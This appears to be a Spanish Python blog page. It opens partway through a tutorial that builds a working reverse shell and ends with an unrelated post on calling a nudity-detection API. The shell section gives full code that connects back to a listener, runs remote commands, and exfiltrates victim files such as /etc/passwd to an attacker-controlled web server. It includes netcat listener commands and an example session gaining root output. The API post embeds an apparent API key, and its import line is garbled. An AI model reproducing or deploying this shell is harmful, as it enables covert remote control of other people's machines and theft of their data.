WPORT = 8080                # Dirección del puerto HTTP (Web)
CFILE = "upload.php"        # El archivo que controlara los datos de subida

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
sock.connect((RHOST, RPORT))

while (1):
    recv = sock.recv(1024).decode().strip().split()

    if (len(recv) <= 1):
        sock.send(("Sintaxis: ", "\n").encode())
        continue

    cmd = recv[0].lower()
    data = ' '.join(recv[1:])
    
    if (cmd == 'cd'):
        chdir(data)
    
    elif (cmd == 'download'):
        requests.post('%s:%d/%s' % (WHOST, WPORT, CFILE), verify=False, data={
            'filename':data,
            'content':open(data, 'rb').read()

            })

    elif (cmd == 'upload'):
        open(basename(data), 'wb').write(requests.get('%s:%d/%s' % (WHOST, WPORT, data), verify=False).content)

    elif (cmd == 'shell'):
        sock.send(getoutput(data).encode())

    elif (cmd == 'exit'):
        sys.exit(1)

    else:
        sock.send(('No se encuentra el comando: "%s"' % (cmd)).encode())

    sock.send(b'\n')

Ahora pasemos a la explicación, dónde dividire cada bloque (a mi manera) para que se pueda entender mejor (Solo lo haré con los que pueda causar más interrogantes).

import socket
import requests
import sys
from urllib3 import disable_warnings; disable_warnings()
from os import chdir
from os.path import basename
from subprocess import getoutput

En este bloque importamos todas las librerías necesarias para crear nuestra shell, sin embargo aquí yo me salí un poco de lo que se debe hacer e incluí una librería de terceros (requests), simplemente porque es más fácil dar la explicación.

Cabe notar que importe de "urllib3" la función "disable_warnings" para cuando que cada vez que nos conectemos a un servidor HTTP no nos presente una advertencia de que el certificado no es válido.

RHOST = "localhost"         # Host remoto
RPORT = 8043                # Puerto remoto
WHOST = "http://localhost"  # Dirección del servidor HTTP (Web)
WPORT = 8080                # Dirección del puerto HTTP (Web)
CFILE = "upload.php"        # El archivo que controlara los datos de subida

En este apartado vemos variables cuyo significado simplemente es la configuración, aunque dando una explicación más descriptiva:

  • RHOST: El host al que se conectara la máquna victima
  • RPORT: El puerto del servidor
  • WHOST: La dirección del servidor HTTP (Web)
  • WPORT: El puerto del servidor HTTP (Web)
  • CFILE: Es el archivo que reside en el servidor HTTP (Web) para controlar los datos que se suben (Ya explicare eso acontinuación)
Nota: Tal vez se pregunten "-¿Por qué necesitamos un servidor HTTP para transferir archivos cuando ya estamos creando uno?-, la respuesta es simple, por los hosting gratis o los servidores web que controlemos y también porque si es un archivo de gran tamaño es mejor almacenarlo en su servidor remoto"
 
Ahora analicemos el bucle 'while' poco a poco:

recv = sock.recv(1024).decode().strip().split()

Aquí hacemos referencia en la variable 'recv' el dato recibido que tendra en el buffer un bloque de '1024' bytes, posteriormente se descodificara con el método '.decode()' (Ya que está en bytes), luego quitara los caracteres cómo nueva linea '\n' y el retorno de carro '\r', por ejemplo, con el método '.strip()' y por último separa todos los caracteres que estén separados por un espacio con el método '.split()'.

if (len(recv) <= 1):
    sock.send(("Sintaxis:  ", "\n").encode())
    continue

cmd = recv[0].lower()
data = ' '.join(recv[1:])

En la primera liena de este segmento verifica que si tiene menos o es igual a 1 en longitud de la separación de 'recv', si es así le muestra un mensaje de cómo debe ser la sintaxis para realizar la operación; en la segunda linea el comando lo convertiremos en minúsculas con el método '.lower()' y la variable data se encarga de que todos los datos separados faltantes sean ordenamos cómo un string con separaciones.
Por último, los comandos que se podrán ejecutar:
if (cmd == 'cd'):
    chdir(data)
    
elif (cmd == 'download'):
    requests.post('%s:%d/%s' % (WHOST, WPORT, CFILE), verify=False, data={
        'filename':data,
        'content':open(data, 'rb').read()

    })

elif (cmd == 'upload'):
    open(basename(data), 'wb').write(requests.get('%s:%d/%s' % (WHOST, WPORT, data), verify=False).content)

elif (cmd == 'shell'):
    sock.send(getoutput(data).encode())

elif (cmd == 'exit'):
    sys.exit(1)

else:
    sock.send(('No se encuentra el comando: "%s"' % (cmd)).encode())
  • cd: Cambia de directorio con la función 'chdir' del módulo 'os'
  • upload: Sube un archivo desde el servidor web hacia la máquina infectada
  • download: Sube un archivo desde la máquina infectada al servidor web. Cabe notar que las claves que se encuentran en el diccionario del parámetro 'data' de la función 'post' son acorde a cómo están en el archivo de control (Ya cobrara sentido acontinuación)
  • shell: Ejecuta un comando
  • exit: Salir
Ahora lo más importante de todo es el uso y es realmente sencillo, pero aclaro que no es susceptible a errores por lo que tendremos que ser perfectos en todo.

Lo primero dejemos escuchando a netcat en el puerto '8043' o el que ustedes decidan pero deben tener en cuenta que tienen que colocar el mismo puerto tanto en 'netcat' cómo en el payload.

nc -lvvp 8043
Listening on 0.0.0.0 8043

Por último ejecutemos en la máquina victima la shell, en mi caso yo la llamaré 'shell.py'

python3 shell.py

Verán como se genera una conexión:

Listening on 0.0.0.0 8043
Connection received on localhost 36600

Ese puerto '36600' es el puerto remoto y eso se encarga el sistema operativo.

Ahora sí, viene lo bueno... Ejecutemos un comando del sistema remotamente:

Listening on 0.0.0.0 8043
Connection received on localhost 36600
shell whoami
root

Lo que me falta por mostrar es la subida y bajada de archivos, veamos como reliazarlo en un par de script's, aunque siendo sinceros nos tenemos que salir un poco de Python e ir con otro lenguaje 'PHP'.


Si lo sé, podemos hacerlo con Python con un poco de lineas más, pero hay que ser sinceros, la mayoria de hostings usan PHP (Los gratuitos) por defecto, aunque en la tercera parte voy a mostrarles cómo crear un servidor HTTP en minutos para realizar estas tareas sin depender de un hosting usando exclusivamente Python.
Por cierto, deben guardarlo dependiendo de la variable de configuración "CFILE", en mi caso "upload.php"
Ahora en nuestra shell ejecutemos el comando:
...
download /etc/passwd

Con ese comando subimos el archivo '/etc/passwd' al servidor Web

Nota: Quiero aclarar dos cosas, estoy en Linux (Aunque igual funciona para Windows con algunas diferencias insustanciales) y debes tener instalado PHP o Apache, en mi caso yo usaré php como servidor ejecutando el siguiente comando:

php -S 0.0.0.0:8080

Ahora descargamos un archivo cualquiera desde el servidor Web, por ejemplo "upload.txt":

upload upload.txt

Eso fue todo compañeros, espero les haya ayudado en algo, para la tercera parte crearemos un servidor Web para no depender de un hosting y será usando exclusivamente Python.

~ DtxdF
Seguir Leyendo

miércoles, 8 de enero de 2020

Detector de "Nudes" - Nudity Detection API en Python

Hola amigos de Internet. Mi nombre es Luis, y les doy las bienvenida a Mi Diario Python.

En los últimos años, la inteligencia artificial ha hecho grandes avances. Las tecnologías Machine Leaning y Deep Learning son ampliamente utilizadas en los últimos tiempos, con diversas aplicaciones.

En este blog hemos hablado mucho sobre el Machine Leaning y sus aplicaciones. A continuación te dejo una lista con algunos de los artículos en donde hablamos sobre este tema:
La idea de poder enseñarle a una computadora es muy interesante, y muy útil. La posibilidad de automatizar tareas, dándole información a nuestra computadora, es algo que nos ayudara en muchos casos. Por ejemplo clasificar correos spam, clasificar grandes cantidades de datos, o detectar imágenes que no sean aptas para todo publico. Son situaciones, que podemos hacer a mano, pero que no seria tan productivo como enseñarle a nuestra maquina.
Sin duda el procesamiento de imágenes es uno de los temas que más llama la atención. 

Por eso en este articulo te mostrare la API Nudity Detection, una API que utiliza aprendizaje automático para clasificar imágenes. Esta API nos ayudara a detectar imágenes en donde aparezcan personas desnudas (ya saben, esas imágenes que tanto nos gustan). Esto puede ser muy útil en el caso de que tengamos un blog, o un foro, en donde cualquiera puede publicar contenido. Esto nos podrá ayudar a filtrar las imágenes que se publiquen. 

Quiero aclarar que esto es solo una prueba de lo que se puede hacer con el aprendizaje automático. Podemos tomarlo como ejemplo para desarrollar nuestros propios proyectos. Como dicen, "la imaginación es nuestro limite" (o algo así).

Así que sin más preámbulos e introducciones, comencemos. 

Antes de poner a funcionar la API, vemos brevemente algunos temas claves.

Servicios Web

Todos deberíamos de conocer las API o los servicios web. Tenemos artículos en donde hablamos sobre ellos y los ponemos en practica. Te invito a que les des un vistazo.

Clasificación de Imágenes:

Por ultimo, te invito a leer los siguiente artículos. En donde hablo sobre la detección de patrones en imágenes y el reconocimiento de rostros.


Nudity Detection API


Resultado de imagen para nudity detection

"Este programa evalúa una imagen y determina la probabilidad de que contenga desnudos. Como la desnudez es una etiqueta dinámica, el algoritmo devuelve un valor porcentual verdadero o falso. Dado que las aplicaciones pueden tener diferentes interpretaciones y niveles de lo que considerarían desnudo, simplemente puede establecer un umbral en su aplicación antes de marcar". Descripción oficial de la API.

Como nos describe el desarrollador, el algoritmo nos devolverá un valor porcentual. Es decir que cuando yo ingresa la imagen, el algoritmo me dará un porcentaje de la probabilidad de que esa foto contenga un desnudo (true) y la probabilidad de que no lo contenga (false). ¿No entendiste? No te preocupes, solo hay una forma de entenderlo. Es hora de probar la API.

Aclaración: por razones obvias, no mostrare la imagen de prueba, así que se los dejo a su imaginación.

El script es muy sencillo. Aquí te lo dejo:
# importamos el modulo "requests" para las solicitudes web
 import reque`enter code here`sts
 
 # URL de la API
 url = "https://macgyverapi-nudity-detection-v1.p.rapidapi.com/"
 
 # Ingresamos los datos. LA key y el ID. Y la ruta o URL de la imagen a clasificar.
 payload = "{\"key\": \"free\",\"id\": \"8E5q5T2p\", \"data\":{\"image\":\"http://i.imgur.com/4hGni1I.jpg\"}}"
 
 # Definimos los headers. El host y la API Key de prueba. Y formato del contenido.
 headers = {
     'x-rapidapi-host': "macgyverapi-nudity-detection-v1.p.rapidapi.com",
     'x-rapidapi-key': "a98b66cd95msh73da5f850f513f6p1469c7jsnb79525408f32",
     'content-type': "application/json",
     'accept': "application/json"
     }
 
 # Enviamos la petiión a al servicio web con todos los datos definidos.
 response = requests.request("POST", url, data=payload, headers=headers)
 
 # Mostramos en pantalla la respuesta en formato texto.
 print(response.text)
Como pueden observar, es muy sencillo. Utilizamos el modulo "request" para las peticiones web. Definimos los datos. Entre ellos la URL de la imagen, recuerda puedes utilizar la imagen que tengas, solo debes cambiar la URL. Por ultimo realizamos la petición con request.
Y obtenemos el resultado. 

Resultado:
{"true":"0.990229", "false":"0.00977059"}
Como podemos observar, el resultado nos indica que la probabilidad de que en la imagen si haya una persona desnuda es del 99%. Por lo que lo más probable es que en la imagen hay una persona mostrando la belleza de su cuerpo.

Muy bien, como pueden ver es muy sencillo. La verdad, es un ejemplo muy sencillo. Esta API es muy simple, así que si quieres implementar esta funcionalidad a un proyecto, te sugiero buscar una API más completa. Hay cientos de APIs de este tipo. Escogí utilizar esta por que era la más simple, y es gratis.

Te invito a que hagas tus propias pruebas. Cambia la imagen, has cientos de pruebas, con todas las imágenes que quieras.

Pregúntate ¿Que pasaría si lo implemento a una web? ¿Y se hiciera una API igual pera para censurar noticias falsas, o imágenes de cadáveres? Bueno, no lo se. Lo importante es que pruebes, experimentes, y seas capaz de crear tus propias APIs, quien sabe, tal vez la próxima API que pruebe en este blog se la tuya.

¿Alguna duda? ¿Alguna sugerencia? Dejanos tu coentario y con mucho gusto te responderemos.
Sin más nada que decir. Mi nombre es Luis, y fue un placer compartir mis conocimiento con todos ustedes :D.
Seguir Leyendo
Powered by Blogger .